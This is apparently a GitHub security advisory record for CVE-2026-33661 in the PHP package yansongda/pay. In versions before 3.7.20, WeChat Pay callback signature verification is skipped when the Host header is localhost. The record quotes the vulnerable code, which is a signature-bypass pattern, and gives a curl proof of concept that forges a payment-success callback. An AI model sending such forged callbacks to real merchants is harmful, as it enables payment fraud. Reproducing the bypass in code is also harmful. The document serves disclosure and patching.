{"id":"GHSA-q938-ghwv-8gvc","summary":"WeChat Pay callback signature verification bypassed when Host header is localhost","details":"## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n    // BYPASS: Returns without any signature check if Host header is localhost\n    if ($message instanceof ServerRequestInterface && 'localhost' === $message-\u003egetUri()-\u003egetHost()) {\n        return;  // No signature verified!\n    }\n\n    // ... openssl_verify() only reached when Host != localhost\n    $wechatSerial = $message-\u003egetHeaderLine('Wechatpay-Serial');\n    $sign = $message-\u003egetHeaderLine('Wechatpay-Signature');\n    $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request-\u003egetUri()-\u003egetHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n  -H \"Host: localhost\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Wechatpay-Serial: any\" \\\n  -H \"Wechatpay-Timestamp: 1234567890\" \\\n  -H \"Wechatpay-Nonce: abc\" \\\n  -H \"Wechatpay-Signature: AAAA\" \\\n  -d '{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}'\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.","aliases":["CVE-2026-33661"],"modified":"2026-03-27T22:17:43.058715Z","published":"2026-03-25T19:30:09Z","database_specific":{"nvd_published_at":"2026-03-26T22:16:29Z","cwe_ids":["CWE-290"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-25T19:30:09Z"},"references":[{"type":"WEB","url":"https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33661"},{"type":"WEB","url":"https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f"},{"type":"PACKAGE","url":"https://github.com/yansongda/pay"},{"type":"WEB","url":"https://github.com/yansongda/pay/releases/tag/v3.7.20"}],"affected":[{"package":{"name":"yansongda/pay","ecosystem":"Packagist","purl":"pkg:composer/yansongda/pay"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.7.20"}]}],"versions":["v0.5.0","v0.5.1","v0.5.2","v0.5.3","v0.5.4","v0.5.5","v0.6.0","v0.6.1","v0.6.2","v1.0.0","v1.0.1","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v1.2.3","v1.2.4","v1.3.0","v1.3.0-beta","v1.3.1","v1.3.2","v1.3.3","v1.3.4","v1.3.5","v1.3.6","v2.0.0","v2.0.0-beta","v2.0.1","v2.0.10","v2.0.11","v2.0.12","v2.0.13","v2.0.14","v2.0.15","v2.0.16","v2.0.17","v2.0.18","v2.0.19","v2.0.2","v2.0.20","v2.0.21","v2.0.22","v2.0.3","v2.0.4","v2.0.5","v2.0.6","v2.0.7","v2.0.8","v2.0.9","v2.1.0","v2.1.0-beta","v2.1.0-beta.1","v2.1.0-beta.2","v2.1.1","v2.1.2","v2.10.0","v2.10.0-beta.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.10.6","v2.2.0","v2.2.1","v2.2.2","v2.2.3","v2.3.0","v2.3.1","v2.3.2","v2.4.0","v2.4.0-beta","v2.4.0-beta.3","v2.4.0-beta1","v2.4.0-beta2","v2.4.1","v2.4.2","v2.4.3","v2.4.4","v2.5.0","v2.5.0-beta","v2.5.1","v2.5.2","v2.5.3","v2.5.4","v2.5.5","v2.5.6","v2.5.7","v2.5.8","v2.5.9","v2.6.0","v2.6.0-beta","v2.6.0-beta.1","v2.6.0-beta.2","v2.6.0-beta.3","v2.6.1","v2.6.2","v2.7.0","v2.7.1","v2.7.2","v2.7.3","v2.7.4","v2.7.5","v2.7.6","v2.7.7","v2.7.8","v2.8.0","v2.8.0-beta.0","v2.8.1","v2.8.2","v2.8.2-beta.0","v2.8.3","v2.8.4","v2.8.5","v2.8.6","v2.9.0","v2.9.0-beta.0","v2.9.0-beta.1","v2.9.0-beta.2","v2.9.1","v2.9.2","v2.9.3","v2.9.4","v2.9.5","v3.0.0","v3.0.0-alpha.0","v3.0.0-alpha.1","v3.0.0-alpha.10","v3.0.0-alpha.2","v3.0.0-alpha.3","v3.0.0-alpha.4","v3.0.0-alpha.5","v3.0.0-alpha.6","v3.0.0-alpha.7","v3.0.0-alpha.8","v3.0.0-alpha.9","v3.0.0-beta.0","v3.0.0-beta.1","v3.0.0-beta.10","v3.0.0-beta.2","v3.0.0-beta.3","v3.0.0-beta.4","v3.0.0-beta.5","v3.0.0-beta.6","v3.0.0-beta.7","v3.0.0-beta.8","v3.0.0-beta.9","v3.0.0-rc.0","v3.0.0-rc.1","v3.0.0-rc.2","v3.0.1","v3.0.10","v3.0.11","v3.0.12","v3.0.13","v3.0.14","v3.0.15","v3.0.16","v3.0.17","v3.0.18","v3.0.19","v3.0.2","v3.0.20","v3.0.21","v3.0.22","v3.0.23","v3.0.24","v3.0.25","v3.0.26","v3.0.27","v3.0.3","v3.0.4","v3.0.5","v3.0.6","v3.0.7","v3.0.8","v3.0.9","v3.1.0","v3.1.0-beta.0","v3.1.0-beta.1","v3.1.0-rc.0","v3.1.1","v3.1.10","v3.1.11","v3.1.12","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.1.6","v3.1.7","v3.1.8","v3.1.9","v3.2.0","v3.2.1","v3.2.10","v3.2.11","v3.2.12","v3.2.13","v3.2.14","v3.2.2","v3.2.3","v3.2.4","v3.2.5","v3.2.6","v3.2.7","v3.2.8","v3.2.9","v3.3.0","v3.3.0-alpha.0","v3.3.0-alpha.1","v3.3.0-alpha.2","v3.3.0-alpha.3","v3.3.0-beta.0","v3.3.0-beta.1","v3.3.0-beta.2","v3.3.0-beta.3","v3.3.1","v3.4.0","v3.4.1","v3.4.2","v3.5.0","v3.5.1","v3.5.2","v3.5.3","v3.6.0","v3.6.0-beta.0","v3.6.0-beta.1","v3.6.1","v3.6.2","v3.6.3","v3.6.4","v3.6.5","v3.7.0","v3.7.1","v3.7.10","v3.7.11","v3.7.12","v3.7.13","v3.7.14","v3.7.15","v3.7.16","v3.7.17","v3.7.18","v3.7.19","v3.7.2","v3.7.3","v3.7.4","v3.7.5","v3.7.6","v3.7.7","v3.7.8","v3.7.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.7.19","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-q938-ghwv-8gvc/GHSA-q938-ghwv-8gvc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"}]}